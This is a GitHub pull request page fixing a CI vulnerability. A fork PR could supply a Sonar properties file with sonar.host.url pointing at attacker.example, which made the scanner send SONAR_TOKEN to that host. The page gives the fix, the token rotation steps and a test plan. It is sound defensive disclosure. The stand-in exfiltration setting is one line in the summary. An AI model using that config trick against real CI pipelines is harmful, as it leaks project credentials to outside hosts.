Skip to content

security(ci): fix SONAR_TOKEN exfiltration in sonar_fork_pr (pull_request_target + fork-controlled scanner config)#3376

Merged
deacon-mp merged 1 commit into
masterfrom
security/sonar-fork-pr-token-exfil-fix
May 18, 2026
Merged

security(ci): fix SONAR_TOKEN exfiltration in sonar_fork_pr (pull_request_target + fork-controlled scanner config)#3376
deacon-mp merged 1 commit into
masterfrom
security/sonar-fork-pr-token-exfil-fix

Conversation

@deacon-mp
Copy link
Copy Markdown
Contributor

Summary

The sonar_fork_pr job in .github/workflows/quality.yml (introduced in #3213) is a classic pull_request_target pwn-request: it runs in trusted repository context with SONAR_TOKEN and GITHUB_TOKEN in the environment, but invokes the Sonar scanner against fork-controlled content with projectBaseDir pointing inside the fork checkout.

A fork PR can ship pr/sonar-project.properties containing sonar.host.url=https://attacker.example/ and the scanner will POST SONAR_TOKEN to the attacker host in the Authorization: Bearer … header. This is direct credential exfiltration, not a theoretical concern — the scanner resolves its properties file from projectBaseDir, and the trusted root sonar-project.properties is bypassed by that setting.

The vulnerability has been live on master since 2025-10-06 (PR #3213, commit 1bd1815f). Reported externally on 2026-05-18.

Action required outside this PR

  • Rotate SONAR_TOKEN in SonarCloud + the repo secret. The token has been exposed for ~7 months on a public repo; assume it is burned until proven otherwise. SonarCloud cannot retroactively log off-platform sonar.host.url use because the scanner would have sent the token to the attacker's host, not to SonarCloud, so rotation is the only safe move.
  • Consider an audit of recent mitre_caldera SonarCloud project state (issue mutes, quality-gate edits, comment decoration) for unexplained changes from a token that should have only been used by CI.

Fix

Splits trusted and untrusted work along the GitHub-recommended pull_request + workflow_run pattern.

.github/workflows/quality.yml

  • Drops the pull_request_target trigger. Nothing in this workflow legitimately needs trusted context against PR-controlled content.
  • Drops the sonar_fork_pr job entirely.
  • The existing build job (which already runs without secrets for fork PRs) now uploads coverage.xml, a sanitized pr-meta.json, and a source tarball as a 3-day artifact for the trusted scanner workflow to consume.
  • Fork-controlled metadata fields (head.ref, head.repo.full_name, etc.) are passed through env vars + jq — never ${{ }}-interpolated directly into a run: block (actionlint-clean).

.github/workflows/sonar-fork-pr.yml (new)

  • Triggered by workflow_run on "Code Quality" completion. The workflow_run event always uses the workflow file from the default branch, so a fork cannot replace this file.
  • Checks out master as the working root — the trusted root sonar-project.properties is what the scanner reads.
  • Downloads the fork's artifact as data only. No pip install, no npm install, no execution of anything from the fork.
  • Validates every pr-meta.json field against strict regexes, and cross-checks pr_number / head_sha against the GitHub-supplied workflow_run context (which is trusted) before passing any value to a CLI arg.
  • Pins sonar.host.url, sonar.organization, sonar.projectKey on the scanner CLI (CLI args override properties files in Sonar Scanner — belt + suspenders).
  • Feeds PR source to the scanner via -Dsonar.sources=pr-src/app only — as files to analyse, never as config that steers the scanner.

Test plan

  • Merge this PR, confirm Code Quality still runs on push / non-fork pull_request and the inline SonarQube Scan step still produces a SonarCloud analysis.
  • Open a benign fork PR (a maintainer fork is fine); confirm:
    • Code Quality build job runs without secrets, uploads the sonar-fork-pr artifact for the 3.13 matrix leg.
    • SonarQube Scan (Fork PR) (sonar-fork-pr.yml) triggers on workflow_run, downloads the artifact, validates metadata, and produces a PR-decorated SonarCloud analysis.
  • Sanity: try a fork PR that drops a sonar-project.properties with a bogus sonar.host.url at repo root — the new workflow's pinned -Dsonar.host.url=https://sonarcloud.io CLI arg should win, and the scan should still hit SonarCloud (verifies CLI-override precedence).
  • Confirm SONAR_TOKEN has been rotated in repo secrets before this PR is merged.

Refs

…nar_fork_pr

The sonar_fork_pr job in .github/workflows/quality.yml (introduced in #3213)
ran under pull_request_target, checked out the fork's PR HEAD into pr/, then
invoked the Sonar scanner with projectBaseDir pointing at that fork-controlled
directory while SONAR_TOKEN and GITHUB_TOKEN were in the environment.

The scanner resolves sonar-project.properties from projectBaseDir, so a fork
PR could ship its own properties file overriding sonar.host.url and have the
scanner authenticate to an attacker-controlled host — leaking SONAR_TOKEN in
the Authorization header. Reported externally on 2026-05-18.

Fix splits trusted and untrusted work along the GitHub-recommended pattern:

  * .github/workflows/quality.yml
      - drop the pull_request_target trigger entirely
      - drop the sonar_fork_pr job entirely
      - in the existing (secret-less) fork build, upload coverage.xml +
        PR metadata + a source tarball as a 3-day artifact
      - fork-controlled values pass through env vars + jq, never inline
        ${{ }} interpolation into a run: block

  * .github/workflows/sonar-fork-pr.yml  (new)
      - workflow_run trigger (always uses the default-branch definition,
        cannot be replaced by a fork)
      - checks out master (trusted root sonar-project.properties)
      - downloads the fork artifact as DATA, validates pr-meta.json fields
        against strict regexes, cross-checks pr_number and head_sha with
        the GitHub-supplied workflow_run context
      - runs the scanner from the trusted base root with
        sonar.host.url / .organization / .projectKey pinned on the CLI
        (CLI overrides any properties file, belt + suspenders)
      - feeds PR source as -Dsonar.sources only — never as scanner config

SONAR_TOKEN must be rotated in SonarCloud independently of this commit; the
job has been exploitable on public master since 2025-10-06.

Refs: #3213
@deacon-mp
Copy link
Copy Markdown
Contributor Author

@Copilot — appreciate the look, but this is a misdiagnosis. Quick rebuttal so the record is clean:

  1. The pinned SHA 83da7cbfaf8a971130b5ec9569c4e93d6d3af7df does exist in mitre/fieldmanual — it's commit "Fix plugin linking bug and remove distutils (#130)".
  2. This PR has not modified the submodule pointer. git ls-tree HEAD plugins/fieldmanual on this branch matches git ls-tree origin/master plugins/fieldmanual exactly.
  3. Security Checks succeeded on master at 2026-05-18T14:16:12Z (run 26039181642) and the same bandit job passed on the pull_request trigger of THIS same head SHA (run 26065436092).
  4. The failing run's actual root cause is the line above the "did not contain" message: error: RPC failed; HTTP 500 curl 22 The requested URL returned error: 500 during git fetch of the submodule pack. The "did not contain SHA" line is a misleading downstream error from git's direct-fetch fallback also tripping over the same transient.

Re-running the failed job. No code change needed in this PR — and adding submodules: false to security.yml would be unrelated scope creep we shouldn't bundle into a security-token-exfiltration fix.

Refocus on the actual change: does the pull_request + workflow_run split in this PR look sound? Specifically (a) the pr-meta.json regex validation, (b) the head_sha cross-check against workflow_run.head_sha, and (c) the -D CLI overrides for sonar.host.url etc. that defeat any fork-shipped properties file.

@sonarqubecloud
Copy link
Copy Markdown

@deacon-mp deacon-mp merged commit 3f5d449 into master May 18, 2026
15 of 17 checks passed
@deacon-mp deacon-mp deleted the security/sonar-fork-pr-token-exfil-fix branch May 18, 2026 23:07
@deacon-mp deacon-mp review requested due to automatic review settings May 18, 2026 23:25
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant